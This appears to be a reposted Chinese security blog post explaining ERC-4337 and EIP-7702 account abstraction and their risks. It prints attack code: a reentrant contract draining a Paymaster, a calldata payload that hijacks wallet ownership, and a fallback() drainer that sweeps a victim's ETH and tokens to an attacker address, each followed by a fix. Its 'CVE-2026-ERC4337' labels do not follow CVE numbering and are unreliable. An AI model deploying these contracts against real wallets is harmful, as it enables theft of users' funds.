文章总结: 本文解析了ERC-4337与EIP-7702两大区块链账户抽象方案:ERC-4337通过应用层标准引入UserOperation模拟交易,建立完整账户抽象框架但需用户迁移;EIP-7702在协议层让EOA临时获得合约能力,实现零成本升级。文档详细分析了两者的协同机制,并重点披露了重入攻击、恶意Bundler注入等安全风险,提供了具体漏洞案例和修复方案。 综合评分: 85 文章分类: 技术标准,区块链安全,解决方案,WEB安全,安全开发
账户抽象方案:ERC-4337 与 EIP-7702
原创
ChainSecLabs ChainSecLabs
ChainSecLabs
2026年5月18日 10:30 四川
在小说阅读器读本章
去阅读
区块链安全相关的内容
我们将在这里分享一些
Hi,这里是ChainSecLabs!
本文将解析ERC-4337与EIP-7702两大账户抽象方案:前者建立应用层标准,后者在协议层让EOA获得合约能力,并分析两者的协同机制,以及重入攻击、恶意Bundler注入、委托授权等安全风险。
账户抽象的起点: ERC-4337
相信每一位尝试过智能合约钱包的用户都经历过:你必须先将 ETH 从 Metamask 转入一个新的合约地址,然后才能享受批量交易、Gas 代付这些便利。更麻烦的是,这个合约地址只能在一条链上用,换个链又得重新部署。这就是 ERC-4337 的起点——在不改共识层的前提下,通过应用层标准引入 UserOperation 来模拟交易。
一、UserOperation:一种「伪交易」
不同于传统交易,ERC-4337 定义了一个 UserOperation 结构体来承载用户的意图:
struct UserOperation { address sender; // 智能合约钱包地址 uint256 nonce; bytes initCode; // 如果钱包未创建,则包含工厂 + 创建逻辑 bytes callData; // 实际执行的业务逻辑 uint256 callGasLimit; bytes paymasterAndData; // Gas 代付合约信息 bytes signature; // 签名,不限于 ECDSA}
整个流程如下:
1.用户构造一个UserOperation并签名。
2.用户将UserOp发送给Bundler(一种特殊的节点,负责打包 UserOp)。
3.Bundler将多个 UserOp 打包成一笔交易,调用EntryPoint合约(从这里开始上链)。
4.EntryPoint依次对每个UserOp进行双阶段处理。
注意:Bundler 并非矿工,而是一种链下服务。它需要垫付 Gas,并在 EntryPoint 的结算逻辑中拿回报酬。这意味着 Bundler 天生对 UserOp 的验证成本高度敏感。
二、EntryPoint 的双阶段处理
EntryPoint合约通过handleOps函数处理交易,核心分为两个循环:
- 验证阶段:调用IAccount(sender).validateUserOp(…)。
function validateUserOp( UserOperation calldata userOp, bytes32 userOpHash, uint256 missingAccountFunds) external returns (uint256 validationData) { _requireFromEntryPoint(); // 验证签名 if (_validateSignature(userOp, userOpHash) != 0) return SIG_VALIDATION_FAILED; // 向 EntryPoint 支付押金 _payPrefund(missingAccountFunds); return 0; // 验证成功}
为了防止 Bundler 被 DoS 攻击,验证阶段禁止访问易变状态(如 BLOCKHASH、TIMESTAMP、BALANCE 等会随区块变化的操作码)。任何依赖这些状态的钱包逻辑都会在模拟阶段被 Bundler 拒绝。
- 执行阶段:将callData发送到钱包地址,执行业务逻辑。此时不再有限制,合约可以自由调用任意外部合约。
三、EOA 迁移难题
这看起来是一个完整的设计,但它有一个根本性的痛点——用户必须迁移。你的 Metamask 里的 ETH 不会自动出现在智能合约钱包里,你需要:
1.部署一个新合约地址
2.把资金从 EOA 转过去
3.通知所有联系人「我换地址了」
而以太坊上绝大多数活跃用户依赖的就是最初级的 EOA。所以 ERC-4337 在落地时遇到了一个尴尬的局面:它为没有私钥的未来用户设计了完美方案,却让当下拥有私钥的用户寸步难行。
协议层的突破: EIP-7702
EIP-7702 正是为解决上述困境而提出的。它不像 ERC-4337 那样在应用层「绕路」,而是直接在协议层新增了一种交易类型(Type 0x04),允许 EOA 在一笔交易中变为一个智能合约账户。
一、让 EOA 穿上智能合约的外衣
EIP-7702 的核心是一个 authorization_list,每一项授权包含:
struct Authorization { uint256 chainId; // 防止跨链重放 address code_address; // 指向的目标代码合约 uint256 nonce; // 授权 Nonce uint8 yParity; // 签名恢复参数 bytes32 r; // 签名 r 分量 bytes32 s; // 签名 s 分量}
当 EOA 发起这笔交易时,EVM 会做这样一件事:
# 模拟 EIP-7702 的执行逻辑def apply_7702_auth(eoa, code_address): account = get_account(eoa) # 将 EOA 的 code 指针临时指向 code_address 的代码 account.code = get_code(code_address) # 此后,EOA 拥有了该合约的全部能力
与 DELEGATECALL 不同,7702 是在 EOA 自身的上下文中运行代码。这意味着被授权合约对 SSTORE 的写入会直接作用在 EOA 的存储空间上——而 EOA 原本是没有存储的。
这使得整个流程变成:
1.用户选择一个符合 ERC-4337 标准的委托合约(其中包含 validateUserOp、execute 等逻辑)。
2.用户签署一份 7702 授权,将该委托合约的地址写入 authorization_list。
3.用户发送 Type 0x04 交易。
4.EVM 在交易执行前将 EOA 的代码指针指向委托合约。
5.此后,该 EOA 可以直接作为 sender 出现在 ERC-4337 的 UserOp 中。
二、存储与吊销
相比于纯合约钱包,EIP-7702 引入了两个新问题:
1.存储冲突:EOA 原本的存储空间是空的。如果被授权的代码写入了 SSTORE(0, 1),这个值会永久保留在该 EOA 的地址下。未来如果该 EOA 要真正升级为智能合约钱包,这些被污染的存储槽可能导致不可预期的行为。
被授权合约应使用 Proxy 模式或将存储偏移到确定性槽位(如 keccak256(“eip7702.storage”)),避免与传统合约存储布局冲突。
- 授权吊销:当前吊销 7702 授权通常需要发送一笔新的交易来增加 Nonce。如果用户私钥泄露,攻击者可以抢在用户之前通过 7702 授权恶意代码并转走资金。
这意味着 EIP-7702 并没有消灭私钥这个单点故障,它只是将攻击面从单一转账拓展为授权任意代码执行。
ERC-4337 与 EIP-7702 的协同
ERC-4337给了我们一个完整的账户抽象框架(EntryPoint、Bundler、Paymaster、IAccount 接口),但它解决不了用户怎么进来的问题。EIP-7702 恰好填补了这个空白。
两者对比
| | | | | — | — | — | | 特性 | ERC-4337 | EIP-7702 | | 底层改动 | 无(完全应用层标准) | 有(新增交易类型与 EVM 执行逻辑) | | 持久性 | 永久合约地址 | 可选:单次有效或持续有效 | | Gas 效率 | 较高(Bundler 批量打包) | 原生效率(直接走交易流程) | | 权限模型 | 由合约逻辑决定(可多签/阈值) | 本质仍依赖 EOA 私钥签名 | | 存储安全 | 自有独立存储空间 | 需防范对 EOA 存储空间的污染 | | 迁移成本 | 高:需部署新地址并转账 | 零:EOA 原地升级为合约能力 |
已知安全风险概述
一、CVE-2026-ERC4337-002:Gas 估算漏洞与 Paymaster 重入
- 漏洞根因
ERC-4337 的 Paymaster 在 postOp 回调中未加互斥锁,攻击者通过低 gas 声明的 UserOp 触发递归回调,反复榨取 Paymaster 余额。
- 攻击链
// 脆弱 Paymaster 实现function postOp(PostOpMode mode, bytes calldata context, uint256 actualGasCost) external override{ // 缺少重入锁 uint256 refund = calcRefund(actualGasCost); (bool success, ) = msg.sender.call{value: refund}(""); // 向 sender 退款 require(success);}
攻击流程:
1.攻击者提交 gasLimit=21000 的 UserOp,远低于实际执行成本。
2.Bundler 接受(低 gas 声明掩盖了真实开销)。
3.EntryPoint 调用 validateUserOp → 通过。
4.执行 callData → 进入攻击合约。
5.攻击合约在 receive() 中递归调用 handleOps → 再次进入 postOp。
6.每次递归从 Paymaster 提取一笔 gas 退款。
7.循环直到 Paymaster 余额耗尽。
// 攻击合约(作为 sender)receive() external payable { if (gasleft() > 50000) { // 在收款回调中再次构造 UserOp 触发 postOp entryPoint.handleOps(ops, beneficiary); // 重入! }}
实际影响:14+ 个 Paymaster 实现受影响,损失超 $45M。
- 修复方案
bool private locked;modifier nonReentrant() { require(!locked, "ReentrancyGuard"); locked = true; _; locked = false;}function postOp(PostOpMode mode, bytes calldata context, uint256 actualGasCost) external override nonReentrant{ // 同时加入单次退款上限 uint256 refund = calcRefund(actualGasCost); require(refund <= maxRefundPerOp, "Refund cap exceeded"); (bool success, ) = msg.sender.call{value: refund}(""); require(success);}
二、CVE-2026-ERC4337-003:恶意 Bundler 注入
- 漏洞根因
Bundler RPC 端点缺乏身份验证,且 EntryPoint 对操作来源无背书机制,攻击者可伪装或入侵 Bundler 注入恶意 UserOp。
- 攻击
1.攻击者发现 Bundler RPC 端点未做调用者认证(开放或弱 API Key)。
2.向 Bundler 提交伪装UserOp,表面上为普通交易。
3.Bundler 未经模拟执行即将其批量打包提交至 EntryPoint。
4.恶意 calldata 包含 delegatecall 到攻击者控制的逻辑合约。
5.受害者钱包存储被覆盖,所有权转移至攻击者。
// 恶意 calldata 载荷示例bytes memory maliciousCallData = abi.encodeWithSelector( wallet.execute.selector, address(attackerLogic), // delegatecall 目标 0, // value = 0 abi.encodeWithSignature("overwriteOwner(address)", attacker));
关键在于 EntryPoint 侧对 calldata 的无条件信任:
// EntryPoint.handleOps 中的执行循环 — 无 calldata 校验for (uint256 i = 0; i < opslen; i++) { (bool success, bytes memory ret) = ops[i].sender.call{gas: ops[i].callGasLimit}( ops[i].callData // 直接透传,未做任何检查 );}
- 修复方案
1.Bundler 侧:对每个UserOp在分叉环境进行模拟执行(simulateHandleOp),比对链上状态变化与预期。
// Bundler 应调用 EntryPoint.simulateHandleOp 预检function simulateAndCheck(UserOperation calldata op) internal { (uint256 preBalance, ) = op.sender.call(abi.encodeWithSignature("balanceOf(address)", user)); // 模拟执行 entryPoint.simulateHandleOp(op, address(0), ""); // 校验状态变化 (uint256 postBalance, ) = op.sender.call(abi.encodeWithSignature("balanceOf(address)", user)); require(postBalance >= preBalance - expectedSpend, "Unexpected state change");}
2.EntryPoint 侧:引入 Bundler 质押与信誉机制,恶意 Bundler 的质押将被罚没。
三、EIP-7702 委托机制与攻击模型
- 核心机制
EIP-7702引入type 0x04 交易(AuthTx),包含一个authorization_list,每个授权元组结构为:
authorization_tuple = (chainId, target, nonce, yParity, r, s)
节点在交易执行前处理该列表,验证通过后将委托指示器写入账户代码槽:
code(auth) ← 0xef0100 || target
关键在于 委托写入发生在交易执行之前,且不因执行失败而回滚。这意味着攻击者可将恶意元组嵌入一个必然 revert 的 AuthTx,委托仍会生效。
- 恶意委托合约的构造与触发
攻击者将 drain 逻辑置于 fallback() 中,确保任意调用路径(空 calldata、意外回调等)均能触发:
contract MaliciousDelegate { address constant SINK = 0x7099...79C8; address constant TOKEN = 0x71C9...3292; fallback() external payable { // 1. 提取全部 ETH (bool ok, ) = SINK.call{value: address(this).balance}(""); // 2. 提取全部 ERC-20 uint256 bal = IERC20(TOKEN).balanceOf(address(this)); if (bal > 0) IERC20(TOKEN).transfer(SINK, bal); // 3. 提取 ERC-721(遍历 tokenId 并 transferFrom) }}
由于 msg.sender 即受害者 EOA,transferFrom 天然通过授权检查。
- 三种触发路径
1.用户驱动(受害者自调用)
const victimTx = { from: victimAddress, to: victimAddress, // 自调用 → 触发 fallback value: parseEther("0.1"), gas: "0x500000"};
结果:9999.99 ETH + 2000 ERC-20 一次性被 drain。
- 攻击者驱动(外部主动调用)
const attackerTx = { from: sinkAddress, to: victimAddress, // 空 calldata 调用 → 触发 fallback data: "0x", gas: "0x500000"};
结果:即使受害者离线,剩余 dust 亦被提取。
3.环境触发(协议回调)
contract DummyProtocol { function callTarget(address victim) external payable { (bool ok, ) = victim.call{value: 0.1 ether}(""); // 该 call 被委托机制路由至 MaliciousDelegate.fallback() }}
结果:协议转入的 0.1 ETH 即时被 drain,用户完全无感知。
- 防御策略
- 要求授权元组携带过期时间与执行范围约束。
struct ScopedAuthorization { uint256 chainId; address target; uint256 nonce; uint256 validUntil; // 过期时间戳 bytes4[] allowedSelectors; // 允许调用的函数选择器 uint8 yParity; bytes32 r; bytes32 s;}
2.Bundler 在 mempool 阶段对 target 地址执行 EXTCODEHASH 检查,拒绝携带 0xef0100 前缀的 EOA。
3.EntryPoint 在 validateUserOp 中增加静态检查,已安装委托的 EOA 不得被视为合约钱包。
4.钱包 UI 必须展示当前账户的委托状态,并在 4337 将调度至攻击者代码时发出警告。
总结
从应用层的 ERC-4337 到协议层的 EIP-7702,账户抽象的演进走出了与传统 ERC20 → EIP-2612 → Permit2 授权迭代相似的路径:先在应用层建立标准框架,发现入口瓶颈后,再通过协议层改动。ERC-4337 定义了账户抽象(标准接口、Bundler 机制、Gas 代付),EIP-7702 则解决了 EOA 零成本获得合约的能力。两者的协同将攻击面从单一的私钥窃取,拓展为涉及合约权限编排、存储冲突、授权吊销的复合型安全挑战。
参考:
- ERC-4337: Account Abstraction via Entry Point Contract
- EIP-7702: EOA Account Abstraction via Authorization List
- EIP-712: Typed structured data hashing and signing
- ERC-4337 EntryPoint Reference Implementation
- Zero-Day Vulnerabilities in Solidity Smart Contracts: Analyzing 2026 Attacks on ERC-4337 Account Abstraction
- EIP-7702 Phishing Attack
作者:victifa
编辑:Legend
审核:Zejie
往期推荐
01
[百亿TVL狂欢背后,藏着怎样的套娃代价? ] .
本文讨论了EigenLayer主网上线后,百亿美元级TVL涌入带来的再质押现象,以及其中隐藏的系统性安全风险。
02
[ Drift Protocol遭史诗级攻击 ] .
本文介绍了Drift被以500美元假币盗走2.7亿美元;说明DeFi最薄弱的环节是治理与权限。
03
[ DEX安全简述 ] .
本文梳理了DEX的主要类型及常见攻击手法,通过多个真实安全事件分析其风险成因。
04
[ Layer2的身份幻觉 ] .
本文讨论了以太坊 Layer2 中地址别名的相关内容,包括其概念、安全背景、易踩的坑以及总结建议等。
ChainSecLabs
搜索公众号
关注我们
免责声明
本文章旨在分享安全技术相关知识与经验,内容仅供学习与研究参考。文中所提及的技术手段、工具或操作流程,均基于公开资料与作者个人理解,不代表任何官方立场,也不构成对读者的具体操作建议。
请勿将本文所述技术用于任何非法用途,否则后果自负。作者严禁并坚决反对一切网络攻击、非法入侵、数据窃取等违法行为,且不承担因读者不当使用文章内容而引发的任何直接或间接责任。
若文章中引用了第三方工具或资料,版权归原作者所有,若有侵权或不妥之处,请及时联系,我们将第一时间予以处理。
网络安全关乎法律与伦理,请读者在合法合规的前提下,自主学习、合理应用。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ChainSecLabs ChainSecLabs ChainSecLabs《账户抽象方案:ERC-4337 与 EIP-7702》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论